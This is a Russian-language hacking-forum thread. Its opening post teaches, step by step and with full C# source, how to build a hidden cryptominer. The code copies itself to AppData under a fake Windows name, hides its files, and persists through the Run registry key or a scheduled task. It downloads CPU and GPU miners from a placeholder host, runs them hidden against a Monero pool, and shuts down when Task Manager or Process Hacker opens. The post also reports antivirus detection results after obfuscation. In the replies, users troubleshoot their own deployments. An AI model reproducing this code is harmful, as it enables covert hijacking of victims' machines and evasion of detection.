Что нового?

Как скрыть майнер на C# (CPU + GPU)

X-DMIN

КИДАЛА

X-DMIN

КИДАЛА
Регистрация
2 Июл 2018
Сообщения
1,343
Симпатии
947
eRUB
1,102
#1
Всем привет
wink.png


Хотел бы сегодня рассказать как создать скрытый майнер на шарпе.
Будет скрытие от диспетчеров задач и ему подобных, защита от повторного запуска, CPU, GPU, автозапуск и что то еще
biggrin.png


Буду пытаться максимально все расписать в комментариях к коду

Создаем проект -> C# -> Консольное приложение (.NET Framework) -> Платформа ".NET Framework 4"

ikm41by.png


В класс главной программы прописываем следующие строки
Код:
static string dir = Environment.GetEnvironmentVariable("AppData") + "\\Windows Folder"; // Путь к папке  где будет храниться майнер
static string file = "Windows Service.exe"; // Имя файла майнера
Создаем следующий void, он будет проверять на наличие майнера в папке и копировать его туда в случае отсутствия, так же ставить атрибуты Hidden / System
Код:
static void CopyFile()
{
    try
    {
        if (!Directory.Exists(dir)) // Проверка на наличие папки
            Directory.CreateDirectory(dir); // Если не существует, то создаем

        if (!File.Exists(dir + "\\" + file)) // Проверка на наличие файла майнера в папке
            File.Copy(Assembly.GetExecutingAssembly().Location, dir + "\\" + file); // Копируемся

        File.SetAttributes(dir + "\\" + file, FileAttributes.Directory | FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
        File.SetAttributes(dir + "\\" + file, FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
    }
    catch { }
}
Теперь организуем автозапуск.
Как я считаю делать автозапуск через "Автозагрузку" сейчас чуток палевно, так как это легко отключить в диспетчере.
Но вдруг кому то нужно будет, то вот:
Код:
using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
key.SetValue("Windows Service", dir + "\\" + file);
Но я буду делать через "Планировщик задач", на запуск каждую минуту (если процесс запущен, то он не будет запускать повторно)
Код:
static void CreateTask()
{
    try
    {
        var startInfo = new ProcessStartInfo(); // Создаем процесс
        startInfo.FileName = "schtasks.exe"; // Выбираем планировщик задач
        startInfo.CreateNoWindow = false; // Скрываем от пользователя
        startInfo.WindowStyle = ProcessWindowStyle.Hidden; // Скрываем от пользователя
        startInfo.Arguments = @"/create /sc MINUTE /mo 1 /tn ""Windows Service"" /tr """ + dir + "\\" + file + @""" /f"; // Аргументы для запуска
        Process.Start(startInfo); // Запускаем
    }
    catch { }
}
Теперь на всякий случай сделаем проверку на повторный запуск
Код:
static Mutex InstanceCheckMutex;
static bool InstanceCheck()
{
    bool isNew;
    InstanceCheckMutex = new Mutex(true, "SMILEFACE", out isNew);
    return isNew;
}
Теперь перейдем к самим майнерам
Сначала реализуем скачивание нужных майнеров под пк


Подключим System.Management
7RdSDWn.png

cBeoofg.png


Теперь вставляем данный код, чуток расписал, думаю поймете.
Нужно скачать майнеры для CPU (x32/x64) и GPU (nvidia/amd) и залить их на хост (только .exe файлы (сами майнеры))
Вы должны нажать кнопку

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.



Останутся вопросы, задавайте
Код:
static void Download()
{
    string host = @"http://yoursite.com/"; // Ссылка на сайт с майнерами

    if (!File.Exists(dir + "\\" + "Windows Helper.exe")) // Путь для CPU майнера
    {
        try
        {
            using (var client = new WebClient())
            {
                if (Environment.Is64BitOperatingSystem) //  Проверка на разрядность системы
                    client.DownloadFile(host + "x64.exe", dir + "\\" + "Windows Helper.exe"); // Скачиваем нужный майнер
                else
                    client.DownloadFile(host + "x32.exe", dir + "\\" + "Windows Helper.exe"); // Скачиваем нужный майнер
            }
            File.SetAttributes(dir + "\\" + "Windows Helper.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем файл от пользователя
        }
        catch { }
    }

    if (!File.Exists(dir + "\\" + "Windows Support.exe")) // Путь для GPU майнера
    {
        string gpuname = GpuName(); // Получаем имя видеокарты
        try
        {
            using (var client = new WebClient())
            {
                if ((gpuname.Contains("NVIDIA") || gpuname.Contains("GEFORCE") || gpuname.Contains("nvidia") || gpuname.Contains("geforce"))) // Пытаемся чекнуть от кого видеокарта
                    client.DownloadFile(host + "nvidia.exe", dir + "\\" + "Windows Support.exe");
                if (gpuname.Contains("AMD") || gpuname.Contains("amd"))
                    client.DownloadFile(host + "amd.exe", dir + "\\" + "Windows Support.exe");
            }
            File.SetAttributes(dir + "\\" + "Windows Support.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем файл от пользователя
        }
        catch { }
    }
}
static string GpuName()
{
    try
    {
        string gpuName = string.Empty;
        string query = "SELECT * FROM Win32_DisplayConfiguration";
        using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
        { foreach (ManagementObject mObject in searcher.Get()) { gpuName += mObject["Description"].ToString() + "; "; } }
        return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A";
    }
    catch { return "Unknown"; }
}
Создаем 2 процесса (один для CPU второй для GPU) и данные для майнера
Код:
static string pool = "stratum+tcp://xmr.pool.minergate.com:45700"; // Пул для майнинга
static string mail = "[email protected]"; // Почта от реги на minergate
static Process proc;
static Process vid;
Теперь делаем строки которые отвечают за запуск и закрытие майнера
Код:
static void Start() // Запускаем майнеры
{
    try
    {
        proc = Process.Start(new ProcessStartInfo()
        {
            FileName = dir + "\\" + "Windows Helper.exe",
            CreateNoWindow = true,
            UseShellExecute = false,
            RedirectStandardOutput = true,
            WindowStyle = ProcessWindowStyle.Hidden,
            Arguments = $"-o {pool} -u {mail} --max-cpu-usage=95 --log-file=null -p x --donate-level=1 --algo=cryptonight"
        });
    }
    catch { }
    try
    {
        vid = Process.Start(new ProcessStartInfo()
        {
            FileName = dir + "\\" + "Windows Support.exe",
            CreateNoWindow = true,
            UseShellExecute = false,
            RedirectStandardOutput = true,
            WindowStyle = ProcessWindowStyle.Hidden,
            Arguments = $"-o {pool} -u {mail} -p x --donate-level=1 --log-file=null"
        });
    }
    catch { }
}
static void Stop() // Закрываем процессы майнеров
{
    try { proc.Kill(); } catch { }
    try { vid.Kill(); } catch { }
}
Теперь делаем скрытие от диспетчеров задач, будем смотреть как и по имени процесс, и по заголовку окна, поэтому пишем
Код:
[DllImport("USER32.DLL", CharSet = CharSet.Unicode)]
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
Будем проверять на ProcessHacker и Диспетчер задач (другие можете добавить сами
tongue.png
)
Код:
static void LookForTaskMngr()
{
    while (true)
    {
        Process[] procs = Process.GetProcesses(); foreach (Process p in procs)
        {
            if ((Process.GetProcessesByName("taskmgr").Length > 0 || Process.GetProcessesByName("Taskmgr").Length > 0 || Process.GetProcessesByName("ProcessHacker").Length > 0) || Environment.HasShutdownStarted || FindWindow("", "Task Manager") != IntPtr.Zero || FindWindow("", "Диспетчер задач") != IntPtr.Zero)
            {
                Stop(); // Закрываем майнеры
                Environment.Exit(0); // Закрываемся
            }
        }
        Thread.Sleep(1000); // Как часто проверяем на диспетчеры (1 сек)
    }
}
Ну и все, теперь нужно все это зайдествовать
В void Main вписываем
Код:
CopyFile();
CreateTask();
if (!InstanceCheck())
    Environment.Exit(0);
Download();
Start();
LookForTaskMngr();
Теперь нужно скрыть наше окно майнера
Сверху нажимаем 'Проект' -> 'Свойства : "Имя проекта"'
DyzmWvD.png


Вписываем данные, компилируем, запускаем билд

Создалась задача для автозапуска
zCcMJfZ.png

Появились файлы
qrSHLhr.png

Пошел майнинг
smile.png

dilhMSk.png


Открываем диспетчер задач, и майнинг прекращается
MzLXPDK.png





Что по детектам?

Чистый билд

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.


HtUIbBz.png
NET Reactor + иконка + манифест

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.


iaxQu8s.png

Скрытое содержимое для зарегистрированных пользователей!
 

mamba

Активный участник
ЮБИЛЕЙНАЯ ЛЕНТА

mamba

Активный участник
ЮБИЛЕЙНАЯ ЛЕНТА
Регистрация
1 Окт 2018
Сообщения
60
Симпатии
16
eRUB
43
#2
спасибо) может тему переименовать в какой ниб: "Как скрыть майнер?"
как создавать сам майнер не описывается, только как его запустить на шарпах.
Скрытое содержимое для зарегистрированных пользователей!
 

X-DMIN

КИДАЛА

X-DMIN

КИДАЛА
Регистрация
2 Июл 2018
Сообщения
1,343
Симпатии
947
eRUB
1,102
#3
спасибо) может тему переименовать в какой ниб: "Как скрыть майнер?"
как создавать сам майнер не описывается, только как его запустить на шарпах.
[Скрытый контент]
Переименовал
 

bankir0777

Новичок

bankir0777

Новичок
Регистрация
2 Янв 2019
Сообщения
3
Симпатии
0
eRUB
60
#4
Подскажите, будьте добры, какое название носят файлы майнеров, залитые на хост? Насколько я понимаю, это должны быть названия Windows Helper и Windows Support. Но как тогда реализуется скачивание нужного файла, если в одну и ту же директорию нельзя поместить два однотипных файла? Ведь майнеров для проца будет два из-за рязрядности, с видео тоже. Буду благодарен за любую помощь в этом плане! Просто сделал все по предоставленному шаблону, сборка создалась, однако скачивание необходимых файлов не происходит, поскольку не могу разобраться в коде...
 

X-DMIN

КИДАЛА

X-DMIN

КИДАЛА
Регистрация
2 Июл 2018
Сообщения
1,343
Симпатии
947
eRUB
1,102
#5
Подскажите, будьте добры, какое название носят файлы майнеров, залитые на хост? Насколько я понимаю, это должны быть названия Windows Helper и Windows Support. Но как тогда реализуется скачивание нужного файла, если в одну и ту же директорию нельзя поместить два однотипных файла? Ведь майнеров для проца будет два из-за рязрядности, с видео тоже. Буду благодарен за любую помощь в этом плане! Просто сделал все по предоставленному шаблону, сборка создалась, однако скачивание необходимых файлов не происходит, поскольку не могу разобраться в коде...
Не может быть система 64 и 32 битная вместе, в принципе может быть что у кого стоит например две видеокарты вместе (AMD,Nvidia) ну сомневаюсь что ты такого найдешь.

По сути будет скачиваться только x32 или x64, и для видюхи майнер

static void Download()
{
string host = @"

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

"; // Ссылка на сайт с майнерами
if (!File.Exists(dir + "\\" + "Windows Helper.exe")) // Путь для CPU майнера
{
try
{
using (var client = new WebClient())
{
if (Environment.Is64BitOperatingSystem) // Проверка на разрядность системы
client.DownloadFile(host + "x64.exe", dir + "\\" + "Windows Helper.exe"); // Скачиваем нужный майнер
else
client.DownloadFile(host + "x32.exe", dir + "\\" + "Windows Helper.exe"); // Скачиваем нужный майнер
}
File.SetAttributes(dir + "\\" + "Windows Helper.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем файл от пользователя
}
catch { }
}
if (!File.Exists(dir + "\\" + "Windows Support.exe")) // Путь для GPU майнера
{
string gpuname = GpuName(); // Получаем имя видеокарты
try
{
using (var client = new WebClient())
{
if ((gpuname.Contains("NVIDIA") || gpuname.Contains("GEFORCE") || gpuname.Contains("nvidia") || gpuname.Contains("geforce"))) // Пытаемся чекнуть от кого видеокарта
client.DownloadFile(host + "nvidia.exe", dir + "\\" + "Windows Support.exe");
if (gpuname.Contains("AMD") || gpuname.Contains("amd"))
client.DownloadFile(host + "amd.exe", dir + "\\" + "Windows Support.exe");
}
File.SetAttributes(dir + "\\" + "Windows Support.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем файл от пользователя
}
catch { }
}
}
static string GpuName()
{
try
{
string gpuName = string.Empty;
string query = "SELECT * FROM Win32_DisplayConfiguration";
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
{ foreach (ManagementObject mObject in searcher.Get()) { gpuName += mObject["Description"].ToString() + "; "; } }
return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A";
}
catch { return "Unknown"; }
}
 
Последнее редактирование:

bankir0777

Новичок

bankir0777

Новичок
Регистрация
2 Янв 2019
Сообщения
3
Симпатии
0
eRUB
60
#6
Я полностью с этим согласен! Вопрос чуть-чуть в другом. На хосте, с которого будет идти подкачка необходимых майнеров, как они должны называться? Исходя из предоставленного кода, майнер, который скачивается, называется Windows Helper.exe. Если это так, то как тогда залить две его версии для 32 или 64 разрядных систем? Или на хосте майнеры для процесора должны носить имена x64.exe и x32.exe соответственно? Аналогичная ситуация и с майнером для видеокарты. По коду скачивается файл Windows Support.exe. Как правильно на хосте назвать майнер, Windows Support.exe или nvidia.exe или amd.exe? Если должно быть название Windows Support.exe, то как для двух версий майнеров для разных видеокарт присвоить одно и то же имя на одном и том же хосте, что бы все правильно скачивалось, ведь идет автозамена одинакового названия файла. Та же ситуация и майнерами для процессора. Именно в этом моменте я и путаюсь. Не получается указать правильное расположение к необходимым файлам на хосте, из-за чего они и не скачиваются. Буду очень благодарен за помощь!
 

bankir0777

Новичок

bankir0777

Новичок
Регистрация
2 Янв 2019
Сообщения
3
Симпатии
0
eRUB
60
#7
И, если можно, еще такой вопрос. При запуске скомпилированного билда у меня создается задание в планировщике, все как указано выше, с указанными интервалами. Однако сам файл Windows Service в указанной выше директории не появляется. После перезагрузки дедика задание в планировщике не запускается через каждую минуту, и этот файл перезапустить не может, поскольку он по указанному в планировщике пути так и не появился, а в комментариях указано, что действие прервано пользователем. В чем может быть проблема? Спасибо!
 

X-DMIN

КИДАЛА

X-DMIN

КИДАЛА
Регистрация
2 Июл 2018
Сообщения
1,343
Симпатии
947
eRUB
1,102
#8
И, если можно, еще такой вопрос. При запуске скомпилированного билда у меня создается задание в планировщике, все как указано выше, с указанными интервалами. Однако сам файл Windows Service в указанной выше директории не появляется. После перезагрузки дедика задание в планировщике не запускается через каждую минуту, и этот файл перезапустить не может, поскольку он по указанному в планировщике пути так и не появился, а в комментариях указано, что действие прервано пользователем. В чем может быть проблема? Спасибо!
static void Download()
{
string host = @"

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

"; // Ссылка на сайт с майнерами
if (!File.Exists(dir + "\\" + "Windows Helper.exe")) // Путь для CPU майнера
{
try
{
using (var client = new WebClient())
{
if (Environment.Is64BitOperatingSystem) // Проверка на разрядность системы
client.DownloadFile(host + "x64.exe", dir + "\\" + "Windows Helper.exe"); // Скачиваем нужный майнер
else
client.DownloadFile(host + "x32.exe", dir + "\\" + "Windows Helper.exe"); // Скачиваем нужный майнер
}
File.SetAttributes(dir + "\\" + "Windows Helper.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем файл от пользователя
}
catch { }
}
if (!File.Exists(dir + "\\" + "Windows Support.exe")) // Путь для GPU майнера
{
string gpuname = GpuName(); // Получаем имя видеокарты
try
{
using (var client = new WebClient())
{
if ((gpuname.Contains("NVIDIA") || gpuname.Contains("GEFORCE") || gpuname.Contains("nvidia") || gpuname.Contains("geforce"))) // Пытаемся чекнуть от кого видеокарта
client.DownloadFile(host + "nvidia.exe", dir + "\\" + "Windows Support.exe");
if (gpuname.Contains("AMD") || gpuname.Contains("amd"))
client.DownloadFile(host + "amd.exe", dir + "\\" + "Windows Support.exe");
}
File.SetAttributes(dir + "\\" + "Windows Support.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем файл от пользователя
}
catch { }
}
}
static string GpuName()
{
try
{
string gpuName = string.Empty;
string query = "SELECT * FROM Win32_DisplayConfiguration";
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
{ foreach (ManagementObject mObject in searcher.Get()) { gpuName += mObject["Description"].ToString() + "; "; } }
return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A";
}
catch { return "Unknown"; }
}

Красным ето название файлов на хосте
 

Ryssa

Участник

Ryssa

Участник
Регистрация
7 Окт 2018
Сообщения
6
Симпатии
6
eRUB
0
#9
Тут всем готовый продукт подавай, а не эти ваши проекты :biggrin:
 

pavelosloa

Новичок

pavelosloa

Новичок
Регистрация
30 Авг 2019
Сообщения
1
Симпатии
0
eRUB
112
#10
Какой хост выбрать? Майнеры сами туда загрузятся, или надо самому все загружать?
 
Сверху Снизу